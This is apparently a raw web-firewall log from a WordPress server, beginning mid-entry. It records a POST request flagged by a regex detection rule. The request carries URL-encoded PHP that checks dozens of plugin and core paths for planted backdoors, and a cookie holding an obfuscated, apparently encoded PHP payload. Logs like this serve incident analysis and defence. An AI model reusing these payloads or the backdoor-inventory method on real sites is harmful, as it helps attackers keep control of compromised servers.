%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Decode\/HTML\/asm.php%22%3D%3E%22bd%40%40244668675%40%40665%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-20 02:54:07","213.209.159.254","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cV:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Decode\/HTML\/asm.php%22%3D%3E%22bd%40%40244668675%40%40665%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:13568\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL1LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\n\ncV=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E